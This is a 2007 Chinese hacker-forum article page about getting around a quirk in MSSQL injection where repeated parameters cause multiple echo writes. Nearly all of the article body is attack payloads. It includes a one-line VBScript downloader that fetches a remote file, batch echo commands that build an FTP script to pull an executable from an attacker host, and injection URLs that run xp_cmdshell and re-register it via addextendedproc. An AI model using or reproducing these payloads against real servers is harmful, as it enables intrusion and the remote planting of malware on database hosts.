我爱黑客网首页 设为首页
加入收藏
联系我们
 首 页  技术文章 下载中心 站长学院 交流论坛
 软件:
 文章:        教程:
 推荐: 我爱黑客网论坛
 
 
 
 
   
黑软: Q Q 软件 木马间谍 探嗅监听 溢出攻击 加密解密 漏洞扫描 脚本注入 远程控制 综合利用 聊天工具  
 
技术文章: 爱黑新闻 | 黑客攻防 | 网络技术 | 程序设计 | 系统操作 | 本站动态 | 业界动态 | 安全公告 | 病毒公告 | 八卦黑客
 
 
您当前的位置:我爱黑客 -> 黑客攻防 -> 黑客入门 -> 文章内容  
栏目导航
· Q Q 攻防 · 黑客入门
· 攻防实战 · 安全初步
· 工具详解 · 黑客教程
· 漏洞研究 · 黑客编程
· 技术杂谈
热门文章
· 黑客高手必懂基础内容..
· 黑客高手必懂基础内容..
· 假作真时真亦假——“..
· 黑客高手必懂基础内容..
· 黑客高手必懂基础内容..
· 黑客高手必懂基础内容..
· IP地址攻击方式
· 新手入侵检测知识
· 全面分析黑客常用的九..
· 网吧必杀:如何进入网..
· 上网千万不要下载安装..
· 用GOOGLE你瞬间成为黑..
相关文章

· 微软MS-(042-044)漏..
· MSN短路网民抓瞎
· 泰克推出整套针对IM..
· 动易CMS2006SP4的漏..
· [组图] MS SQL-SERVE..
· MSN正式解释故障原因..
· MSN中国战略不变 内..
· SaForums论坛结合AP..
· 推荐:进一步取得Mir..
· 地震震断6条海底光缆..
查看更多与mssql注射中多次调用参数导致多次echo的解决方法相关内容

mssql注射中多次调用参数导致多次echo的解决方法
作者:幽火  来源:www.5ihack.com  发布时间:2007-1-1 3:43:43  发布人:ghostfire

减小字体 增大字体

文/superhei
解决办法:
1.iget.vbs一次写入
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写

Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

这样我们可以一次echo成功,echo版本:

echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs


2.bat调用ftp脚本的写法(by envymask)

echo ftp>1.vbs
echo open ip>2.vbs
echo u>3.vbs
echo s>4.vbs
echo binary>5.vbs
echo get 1.exe>6.vbs
echo bay>7.vbs

copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs

3.解决方法by xiaolu

http://xxx.com/x.asp?id=1;Exec Master..xp_cmdshell 'echo xxxx1 > xxx.vbs';exec master..sp_dropextendedproc 'xp_cmdshell'--
http://xxx.com/x.asp?id=1;use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--
http://xxx.com/x.asp?id=1;Exec Master..xp_cmdshell 'echo xxxx2 >> xxx.vbs';exec master..sp_dropextendedproc 'xp_cmdshell'--
http://xxx.com/x.asp?id=1;use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--

查看更多与mssql注射中多次调用参数导致多次echo的解决方法相关内容

[ ] [返回上一页] [打 印] [收 藏]
上一篇文章:
下一篇文章:
      基础知识:防火墙的透明模式和透明代理       利用Perl提权
∷相关文章评论∷   (评论内容只代表网友观点,与本站立场无关!) [发表评论]
 
 
 
 
晋ICP备05008232   维护网络安全、传播安全技术才是我们的目标! 
 
关于本站 - 网站帮助 - - 下载声明 - 友情连接 -网站地图